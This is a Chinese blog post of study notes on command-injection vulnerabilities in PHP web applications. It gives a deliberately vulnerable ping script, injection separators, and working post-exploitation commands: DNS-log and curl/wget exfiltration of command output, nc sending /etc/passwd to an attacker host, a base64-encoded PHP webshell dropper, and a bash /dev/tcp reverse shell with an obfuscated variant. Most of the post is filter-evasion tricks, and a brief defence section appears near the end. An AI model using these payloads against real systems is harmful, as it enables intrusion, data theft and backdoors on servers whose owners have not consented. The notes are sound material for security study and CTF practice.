命令执行漏洞学习笔记

原理

应用中用到外部命令或程序,参数需要用户输入时,没有对用户的输入做检查,造成执行了预期之外的命令。举个栗子,下面是一个返回ping结果的程序,直接将用户可控的ip这个参数拼接进了命令,就可以提交其他的命令,从而造成命令执行

1
2
3
4
5
<?php 
echo '<pre>';
echo shell_exec('ping -c 4 '. $_GET[ip]);
echo '</pre>';
?>

相关函数

php中能调用外部命令的常见函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
system(args)                                有回显
passthru(args) (有回显)
exec(args) (回显最后一行-必须 echo 输出)
shell_exec(args) (无回显-必须输出)
反引号:``

popen(handle,mode) (无回显)
proc_open('cmd','flag','flag') (无回显)
$process = proc_open('dir',$des,$pipes);
echo stream_get_contents($pipes[1])

putenv
assert
pcntl_exec
COM组件

利用方法

分号;

用分号可以分隔多条命令,命令按照从左到右的顺序执行。当一条命令执行失败时,不会中断其他命令的执行

1
ping -c 4 127.1;whoami

管道命令|

管道符可以将前一个命令的标准输出变成后一个命令的标准输入,当前一个命令执行失败后,会执行后一个命令。ip的位置输入1是为了让ping报错,从而立即执行后一条命令。

1
ping -c 4 1|whoami

后台任务符号&

此符号的作用是使shell在后台执行该条命令,这个命令有个缺陷就是两个命令的输出会混淆在一起

1
ping -c 4 127.1&cat /etc/passwd&

逻辑与&&

按顺序执行命令,命令之间是逻辑与关系,只有前面的命令执行成功后才会执行后面的命令

1
ping -c 4 127.1&&whoami

逻辑或||

按顺序执行命令,命令之间是逻辑或关系,前面的命令执行失败后才会执行后面的命令

1
ping -c 4 1||whoami

反引号`

将一个命令将被执行时,会首先解析反引号之间的内容,比如”echo `whoami`“,会先执行whoami,再echo出来

$(command)命令执行

作用同反引号,也是先执行括号中的内容,再将结果和前面的命令一起执行

1
ping -c 4 $(whoami)

win命令连接符

| & || &&跟linux一样

回显敏感信息

win下

1
type c:\windows\win.ini

linux下

1
cat /etc/passwd

无回显利用方法

碰到命令执行,有回显的情况是少数,大多数情况都是无回显。这里分享一些无回显时的攻击方法。首先要判断是否存在命令执行漏洞,可以利用sleep命令,payload比如ip=|sleep 5,如果延迟5秒返回了结果,则存在漏洞。

带外通信 - dnslog

dnslog是一个通过dns查询将信息外传的方法。简单的说,将需要外传的信息附在dns查询上,最终的查询肯定会请求到自己掌控的dns域上,就可以看到相应的dns请求,从而获得附在dns查询上的信息。并且dns查询不像http请求那样容易被检测到,隐蔽性好。

1
ping `whoami`.pulsok.ceye.io

image-20220521183049549

image-20220521183008203

发起ping命令即可发出dns请求,就能在dnslog平台上看到外传的信息

写webshell

如果存在漏洞的页面是web服务或者说存在漏洞的服务器上运行着web服务器,且有权限写入,可以利用shell命令写入webshell后门到网站目录,访问即可获得webshelll

1
echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php

这里用了base64将一句话木马加密了,可以绕过部分waf的检查

http访问日志

最基础的一种方法,在自己的服务器上起一个http服务器,只要有请求访问就有日志,把要外传的信息跟在http请求中访问自己的http服务器,即可在访问日志中查看到要接收的信息。http服务器话,可以用python起一台小型web服务器,非常方便。

1
python3 -m http.server 80

如下图,用curl发起http请求,带上whoami的查询结果。下面web访问日志中的www-data就是对应whoami的执行结果。

1
ping -c 4 ||curl http://[ip]/`whoami`

image-20220521194440765

同样也可以用wget

1
ping -c 4 ||wget http://[ip]/`whoami`

nc传文件

一般服务器上都有netcat命令,可以利用这个命令发送文件到远程服务器上。比如,在自己的服务器上运行监听9999端口的命令:

1
nc -lp 9999 > passwd

在存在命令执行漏洞的服务器上执行发送文件的命令:

1
nc [my server ip] 9999 </etc/passwd

nc反弹shell

反弹shell是从内部的受控端(也就是存在命令执行漏洞的服务器),主动连接外部远程服务器,所以防火墙一般不会拦截。

自己的服务器上nc监听命令:

1
nc -lvvp 8080

存在命令执行漏洞的服务器上反弹shell,每种编程语言都可以用sock发送请求,这里只演示最基础的bash反弹shell

1
bash -i &> /dev/tcp/192.168.1.57/8080 0>&1

image-20220522132334280

image-20220522132112980

如果有waf拦截,可以把语句base64加密后再在存在漏洞的服务器上执行

上面语句用base64做一下变形:

1
echo "YmFzaCAtaSAmPiAvZGV2L3RjcC8xOTIuMTY4LjEuNTcvODA4MCAwPiYx"|base64 -d|bash

image-20220522132754459

vps上监听并得到一个反弹shell:

image-20220522132822587

极端情况

  • 服务器未联网
  • 无回显
  • 无法利用上述的无回显命令执行姿势
  • 无写入权限
  • 各种未知原因无法getshell
  • 等等…

如果不幸碰到上述情况,那么最后只有一种方法,尝试一下枚举or二分法爆破文件内容,主要利用sleep命令时间盲注,自己写个脚本跑一下

防御方案

  1. 不执行外部的应用程序或命令,尽量使用自定义的函数或开源的函数库来实现相应的功能
  2. php可以使用escapeshellargescapeshellcmd这两个函数来转义用户的输入
  3. 使用safe_mode_exec_dir设置可执行的文件目录。将php.ini中的safe_mode设置为On,然后将允许执行的可执行文件放入一个目录,并使用safe_mode_exec_dir指定这个可执行的文件路径。这样在执行相应的外部程序时,比如在safe_mode_exec_dir指定目录中才会允许执行,否则将执行失败
  4. systemexec_shell等命令加入disable_functions(也会被绕过)

命令相关知识

()和{}

把几个命令合在一起执行,shell中有两种方法:

  • (command1;command2;command3;…)
  • { command1;command2;command3;…command;}

注意使用{}时第一条命令必须与左边括号有一个空格,最后一条命令一定要有分号。

并且()和{}中括号里面的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号里的所有命令。

不同点是:()是重新开一个子shell执行命令,{}在当前shell执行。

1
2
3
4
5
6
7
cat ./fl{a,b,c,d}g

执行结果:
cat: flag: No such file or directory
cat: flbg: No such file or directory
cat: flcg: No such file or directory
cat: fldg: No such file or directory

shell输入输出重定向

大多数 UNIX 系统命令从终端接受输入并将所产生的输出发送回到终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端。

命令说明:

  • command > file:输出重定向到file。
  • command < file:输入重定向到file。
  • command >> file:输出以追加的方式重定向到file。
  • n > file:将文件描述符为n的文件重定向到file。
  • n >> file:将文件描述符为n的文件以追加的方式重定向到file。
  • n >& m:将输出文件m和n合并。
  • n <& m:将输入文件m和n合并。
  • << tag:将开始标记tag和结束标记tag之间的内容作为输入。

此外,文件描述符通常是这样的:

  • 0:标准输入(STDIN)
  • 1:标准输出(STDOUT)
  • 2:标准错误输出(STDERR)

正则

  • ^:匹配输入字符串的开始位置
  • $:匹配输入字符串的结束位置
  • *:匹配前面的子表达式零次或多次
  • +:匹配前面的子表达式一次或多次
  • ?:匹配前面的子表达式零次或一次
  • {n}:n是一个非负整数,匹配确定的n次
  • {n,}:n是一个非负整数,至少匹配n次
  • {n,m}:m、n均是非负整数,并且n<=m,最少匹配n次,最多匹配m次
  • .:匹配除换行符(\n,\r)以外的任何单个字符
  • [xyz]:字符集合,匹配所有包含的任意一个字符
  • 非贪婪?:当?紧跟在任何一个其他限制符(*,+,?,,{n},{n,},{n,m})后面时,匹配是非贪婪的,非贪婪模式是指尽可能少地去匹配。
1
2
3
cat ./fl[a-z]g
cat ./fl*g
cat ./fl?g

{xxx}和[xxx]有个重要区别,如果匹配的文件不存在,[xxx]会失去模式的功能,变成一个单纯的字符串,而{xxx}还是可以展开。

1
2
3
4
5
cat ./fl[a-z]g	# 得到结果就只有存在的文件

cat ./fl{a,b,c}g
# 得到的结果是每一个都会去尝试打开,但是不存在的会提示
cat: ./flbg: No such file or directory

内置通用字符簇

也是shell正则的知识

  • [[:alpha:]]:任何字母
  • [[:digit:]]:任何数字
  • [[:alnum:]]:任何字母和数字
  • [[:space:]]:任何空白字符
  • [[:upper:]]:任何大写字母
  • [[:lower:]]:任何小写字母
  • [[:punct:]]:任何标点符号
  • [[:xdigit:]]:任何16进制的数字,相当于[0-9a-fA-F]

绕过姿势

空格绕过

  • <>
1
cat<>./flag
  • $IFS(IFS的默认值是空白,也包括空格,tab,新行)
1
2
cat$IFS./flag
cat$IFS$9flag #$9可改成$加其他数字

关键词绕过

  • $
1
2
3
4
ca$*t ./flag
ca$@t ./flag
ca$2t ./flag
ca${11}t ./flag
  • 反斜杠
1
ca\t ./flag
  • 变量拼接
1
2
a=ca;b=t;c=/etc/passwd
$a$b $c
  • 利用切割字符串拼凑
1
2
a='lqwes';b=${a:0:1}${a:4:1};$b
# 此时$b='ls'

特殊变量

$1到$9、$@和$*等,相当于空字符串

1
2
3
ca${9}t /etc/passwd
cat fl$1ag.php
cat fl$@ag.php

base64编码

1
echo “Y2F0IC4vZmxhZwo=” |base64 -d|bash

16进制

1
echo "0x636174202e2f666c6167" |xxd -r -p|bash

8进制

1
$(printf "\143\141\164\40\56\57\146\154\141\147")

双引号和单引号

1
2
3
4
ca"t" ./flag
ca't' ./flag
c''at fl''ag.php
c""at fl""ag.php

幂符号^

这种方法只是用于win的cmd下,用法和引号类似,也是加在命令字符之间不会影响命令的执行,但我测试发现在两个字符之间只能插入一个^,不然执行命令会报错

1
d^i^r

花括号{}

1
{cat,./flag}

cat绕过

读取文件的命令cat被禁时,有很多同替的命令

1
2
3
4
5
6
7
8
9
10
11
12
more:一页一页的显示档案内容
less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容,不加选项默认输出八进制
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

上边的命令执行后,都可以在输出结果中看到flag

而od命令可通过添加-c选项输出字符串内容:

1
od -c flag.php

通配符绕过

1
2
3
4
5
6
7
8
9
cat *
cat f*
/???/?at flag.php #/bin/cat flag.php
/???/?at ????????
/???/?[a][t] ????????
/???/?[a][t] ?''?''?''?''?''?''?''?''
/???/?[a]''[t] ?''?''?''?''?''?''?''?''
/???/[:lower:]s #ls
等等。。。

其他

1
%0a(\\n)%0d(\\r)%09(\\t)等也可以绕过一些过滤

命令长度限制绕过

比如服务器代码如下:

1
2
3
4
5
6
<?php
$p = $_GET['p'];
if(strlen($p) < 17){
eval($p);
}
?>

嵌套eval

payload如下:

1
http://127.0.0.1/x.php?p=eval($_GET[x])&x=echo `cat /flag`;

文件构造绕过

通常利用ls -t>>>换行符\绕过长度限制

使用ls -t命令,可以将文件名按照时间顺序排列出来(后创建的排在前面)
使用>,可以将命令结果存入文件中
使用>>,可以将字符串添加到文件内容末尾,不会覆盖原内容
使用换行符\,可以将一条命令写在多行

组合起来原理如下:

1
2
3
linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行
  1. 先创建文件名可以连接成要执行命令的空文件(由于ls -t命令,所以要倒序创建文件)
1
2
3
4
5
6
ping |mkdir aaa #建一个空目录aaa创建文件,防止和web页面混在一起干扰命令的构造
ping |>aaa/php
ping |>aaa/ag.\\
ping |>aaa/fl\\
ping |>aaa/t\ \\ #注意cat后面有一个空格,需要一个反斜杠做转义!不然会被截断
ping |>aaa/ca\\

image-20220522205457037

注意这里使用两个反斜杠是因为,前面说到了在命令后面加上一个反斜杠可以将一条命令写在多行,而第一个反斜杠就是为了转义这个反斜杠,从而让文件名中存在一个反斜杠

  1. 执行ls -t aaa>cmd,将目录下的文件名按时间排序后写进cmd文件中,如果创建空文件时,创建了点.开头的文件,上边命令要添加-a选项将隐藏文件也写入cmd,即ls -at aaa>cmd

image-20220522205636103

可以查看cmd文件的内容如下,组合起来就是cat flag.php

image-20220522205710835

  1. 执行sh cmd命令,从cmd文件中读取命令来执行

image-20220522210201953

内联命令绕过关键词

可以使用反引号ls的输出作为cat的输入来绕过文件关键词,比如当前目录下有一个flag,但flag这个关键词被禁用了,就在可以这样绕过

1
cat `ls`

审计技巧

待填坑…

参考

Web笔记(九)命令执行漏洞

浅谈命令执行的绕过方法

浅析命令执行


命令执行漏洞学习笔记
https://wanf3ng.github.io/2022/05/18/命令执行漏洞学习笔记/
作者
wanf3ng
发布于
2022年5月18日
许可协议